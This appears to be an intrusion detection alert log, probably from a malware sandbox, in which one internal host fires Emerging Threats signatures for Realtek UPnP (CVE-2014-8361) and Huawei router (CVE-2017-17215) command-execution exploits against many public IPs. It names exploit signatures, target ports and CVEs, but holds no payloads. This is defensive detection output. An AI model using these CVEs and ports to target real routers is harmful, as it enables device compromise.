ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 63.97.65.81

Timestamp:	07/20/24-23:10:43.104447
SID:	2025132
Source Port:	47516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.212.6.49

Timestamp:	07/20/24-23:10:52.592459
SID:	2835222
Source Port:	53222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 170.167.39.209

Timestamp:	07/20/24-23:10:51.991411
SID:	2027339
Source Port:	39210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 32.52.148.97

Timestamp:	07/20/24-23:10:40.086760
SID:	2027339
Source Port:	58502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 91.122.92.170

Timestamp:	07/20/24-23:10:42.620216
SID:	2027339
Source Port:	37000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 218.122.204.1

Timestamp:	07/20/24-23:10:41.230206
SID:	2835222
Source Port:	57446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.248.175.173

Timestamp:	07/20/24-23:10:39.487319
SID:	2829579
Source Port:	52988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 20.255.176.224

Timestamp:	07/20/24-23:10:39.479939
SID:	2829579
Source Port:	48196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 44.227.239.111

Timestamp:	07/20/24-23:10:39.615805
SID:	2025132
Source Port:	37090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.17.105.247

Timestamp:	07/20/24-23:10:39.478846
SID:	2835222
Source Port:	41756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 144.122.77.129

Timestamp:	07/20/24-23:10:55.979374
SID:	2835222
Source Port:	34942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 205.98.7.209

Timestamp:	07/20/24-23:11:03.394674
SID:	2835222
Source Port:	38206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 212.22.178.123

Timestamp:	07/20/24-23:10:39.128788
SID:	2027339
Source Port:	40840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.99.127

Timestamp:	07/20/24-23:10:42.248539
SID:	2829579
Source Port:	42562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.221.124.156

Timestamp:	07/20/24-23:11:03.365384
SID:	2829579
Source Port:	58894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 47.72.19.180

Timestamp:	07/20/24-23:10:52.024960
SID:	2027339
Source Port:	50386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.46.35.223

Timestamp:	07/20/24-23:10:40.642616
SID:	2829579
Source Port:	55746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 41.19.211.55

Timestamp:	07/20/24-23:10:51.992632
SID:	2831300
Source Port:	36776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 204.13.73.202

Timestamp:	07/20/24-23:10:42.620129
SID:	2831300
Source Port:	43836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.24.39.249

Timestamp:	07/20/24-23:10:51.940743
SID:	2027339
Source Port:	49504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.233.99.183

Timestamp:	07/20/24-23:10:52.578509
SID:	2829579
Source Port:	36184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 31.77.81.9

Timestamp:	07/20/24-23:10:51.940106
SID:	2831300
Source Port:	45296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.68.217.148

Timestamp:	07/20/24-23:10:56.021160
SID:	2835222
Source Port:	33644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.10.69.143

Timestamp:	07/20/24-23:10:46.756934
SID:	2829579
Source Port:	42482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 220.171.155.214

Timestamp:	07/20/24-23:10:48.358148
SID:	2025132
Source Port:	52220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 77.15.142.198

Timestamp:	07/20/24-23:10:47.423773
SID:	2027339
Source Port:	57222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 188.92.250.60

Timestamp:	07/20/24-23:10:47.624070
SID:	2027339
Source Port:	50210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 199.248.104.114

Timestamp:	07/20/24-23:10:51.928255
SID:	2027339
Source Port:	52786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 60.32.252.28

Timestamp:	07/20/24-23:10:49.395188
SID:	2835222
Source Port:	37804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 66.162.227.137

Timestamp:	07/20/24-23:10:51.915099
SID:	2027339
Source Port:	35636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.148.82.96

Timestamp:	07/20/24-23:11:06.696229
SID:	2829579
Source Port:	38496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.12.135.208

Timestamp:	07/20/24-23:10:59.011093
SID:	2829579
Source Port:	60848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.118.67.109

Timestamp:	07/20/24-23:10:59.028826
SID:	2835222
Source Port:	58844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.249.96.154

Timestamp:	07/20/24-23:10:49.428717
SID:	2835222
Source Port:	58956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.243.62.202

Timestamp:	07/20/24-23:10:40.650979
SID:	2835222
Source Port:	40270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.156.141.151

Timestamp:	07/20/24-23:10:41.673540
SID:	2835222
Source Port:	47218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.12.49.40

Timestamp:	07/20/24-23:10:39.434124
SID:	2829579
Source Port:	51100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.177.116.18

Timestamp:	07/20/24-23:10:40.608330
SID:	2835222
Source Port:	35480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 32.52.148.97

Timestamp:	07/20/24-23:10:42.636830
SID:	2831300
Source Port:	59368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 118.30.197.237

Timestamp:	07/20/24-23:10:47.838651
SID:	2027339
Source Port:	34218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.66.86.212

Timestamp:	07/20/24-23:11:03.390577
SID:	2829579
Source Port:	55364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 24.199.214.168

Timestamp:	07/20/24-23:11:03.402557
SID:	2829579
Source Port:	33720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.28.61.99

Timestamp:	07/20/24-23:10:39.636519
SID:	2027339
Source Port:	58808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 188.57.61.95

Timestamp:	07/20/24-23:11:06.696229
SID:	2835222
Source Port:	52454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.235.225.253

Timestamp:	07/20/24-23:10:56.073192
SID:	2835222
Source Port:	33196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.204.52.71

Timestamp:	07/20/24-23:10:42.255257
SID:	2835222
Source Port:	40604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 44.227.239.111

Timestamp:	07/20/24-23:10:42.621194
SID:	2027339
Source Port:	37786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 191.36.218.84

Timestamp:	07/20/24-23:10:51.899861
SID:	2831300
Source Port:	35092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.81.0.187

Timestamp:	07/20/24-23:10:41.221769
SID:	2829579
Source Port:	38674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 114.147.236.150

Timestamp:	07/20/24-23:10:39.068869
SID:	2025132
Source Port:	48142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.72.16.230

Timestamp:	07/20/24-23:10:47.913064
SID:	2027339
Source Port:	52392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 4.49.242.168

Timestamp:	07/20/24-23:10:39.492375
SID:	2835222
Source Port:	58290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 18.33.239.61

Timestamp:	07/20/24-23:10:47.963364
SID:	2027339
Source Port:	42470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.250.4.144

Timestamp:	07/20/24-23:10:52.607832
SID:	2829579
Source Port:	39126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.10.96.101

Timestamp:	07/20/24-23:10:39.493967
SID:	2829579
Source Port:	45658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.175.136.160

Timestamp:	07/20/24-23:11:03.406798
SID:	2829579
Source Port:	50432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.72.242.187

Timestamp:	07/20/24-23:11:03.382352
SID:	2829579
Source Port:	35752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 125.46.245.158

Timestamp:	07/20/24-23:10:39.132797
SID:	2027339
Source Port:	44114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.110.199.66

Timestamp:	07/20/24-23:10:41.241817
SID:	2829579
Source Port:	59968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.235.87.4

Timestamp:	07/20/24-23:10:43.447751
SID:	2027339
Source Port:	40002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.140.115.187

Timestamp:	07/20/24-23:10:39.485535
SID:	2829579
Source Port:	48658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.127.38.178

Timestamp:	07/20/24-23:10:49.341206
SID:	2835222
Source Port:	49770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.218.107.66

Timestamp:	07/20/24-23:10:41.234520
SID:	2835222
Source Port:	37992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 128.195.53.217

Timestamp:	07/20/24-23:10:46.832505
SID:	2835222
Source Port:	53432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 72.244.52.162

Timestamp:	07/20/24-23:10:39.145039
SID:	2025132
Source Port:	42306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 192.27.39.245

Timestamp:	07/20/24-23:10:46.652480
SID:	2025132
Source Port:	47806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 91.159.64.203

Timestamp:	07/20/24-23:10:39.391618
SID:	2025132
Source Port:	57164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.120.170.64

Timestamp:	07/20/24-23:10:47.712896
SID:	2027339
Source Port:	60452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.165.244.114

Timestamp:	07/20/24-23:10:46.756934
SID:	2829579
Source Port:	47236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 40.249.110.83

Timestamp:	07/20/24-23:10:46.779706
SID:	2835222
Source Port:	35096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.136.96.121

Timestamp:	07/20/24-23:11:06.680204
SID:	2835222
Source Port:	47234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 80.162.152.76

Timestamp:	07/20/24-23:10:49.430121
SID:	2829579
Source Port:	48564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.149.250

Timestamp:	07/20/24-23:10:39.485535
SID:	2829579
Source Port:	59668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.166.112.173

Timestamp:	07/20/24-23:11:03.396635
SID:	2835222
Source Port:	37348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 222.216.119.91

Timestamp:	07/20/24-23:10:44.618894
SID:	2025132
Source Port:	57778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.57.56.21

Timestamp:	07/20/24-23:11:03.390577
SID:	2829579
Source Port:	51950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 138.128.103.84

Timestamp:	07/20/24-23:10:42.249913
SID:	2829579
Source Port:	60524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 39.147.126.15

Timestamp:	07/20/24-23:10:40.656426
SID:	2835222
Source Port:	45480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 171.218.135.148

Timestamp:	07/20/24-23:10:51.955739
SID:	2831300
Source Port:	34804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.80.220

Timestamp:	07/20/24-23:10:52.540929
SID:	2835222
Source Port:	54278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 223.213.191.10

Timestamp:	07/20/24-23:10:45.392566
SID:	2025132
Source Port:	34380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 112.250.31.72

Timestamp:	07/20/24-23:10:44.605211
SID:	2027339
Source Port:	45208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 58.5.254.83

Timestamp:	07/20/24-23:11:06.706527
SID:	2829579
Source Port:	40962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.247.243.177

Timestamp:	07/20/24-23:10:41.220575
SID:	2835222
Source Port:	60146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 83.29.88.76

Timestamp:	07/20/24-23:10:51.992277
SID:	2027339
Source Port:	35210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 179.62.67.97

Timestamp:	07/20/24-23:11:06.674872
SID:	2829579
Source Port:	59700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.92.178.14

Timestamp:	07/20/24-23:11:03.390577
SID:	2835222
Source Port:	58100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.204.196.247

Timestamp:	07/20/24-23:11:06.662677
SID:	2835222
Source Port:	38158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 81.7.136.58

Timestamp:	07/20/24-23:10:40.644796
SID:	2829579
Source Port:	38168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 136.211.29.117

Timestamp:	07/20/24-23:10:51.937938
SID:	2027339
Source Port:	40816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 47.2.9.114

Timestamp:	07/20/24-23:10:48.298335
SID:	2025132
Source Port:	60496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 79.14.113.77

Timestamp:	07/20/24-23:10:51.995612
SID:	2027339
Source Port:	38348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 60.113.117.170

Timestamp:	07/20/24-23:10:51.917508
SID:	2831300
Source Port:	43532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 186.136.242.161

Timestamp:	07/20/24-23:10:47.849322
SID:	2027339
Source Port:	47698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 185.0.88.111

Timestamp:	07/20/24-23:10:56.039438
SID:	2835222
Source Port:	54238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 42.63.101.142

Timestamp:	07/20/24-23:10:46.832505
SID:	2835222
Source Port:	50908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.56.104.227

Timestamp:	07/20/24-23:11:06.689940
SID:	2829579
Source Port:	39502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.62.43.62

Timestamp:	07/20/24-23:10:40.607363
SID:	2829579
Source Port:	54458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 13.252.226.77

Timestamp:	07/20/24-23:10:39.434366
SID:	2829579
Source Port:	47674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.150.213.32

Timestamp:	07/20/24-23:10:40.607363
SID:	2829579
Source Port:	51210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 149.205.10.158

Timestamp:	07/20/24-23:10:39.431804
SID:	2835222
Source Port:	60562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

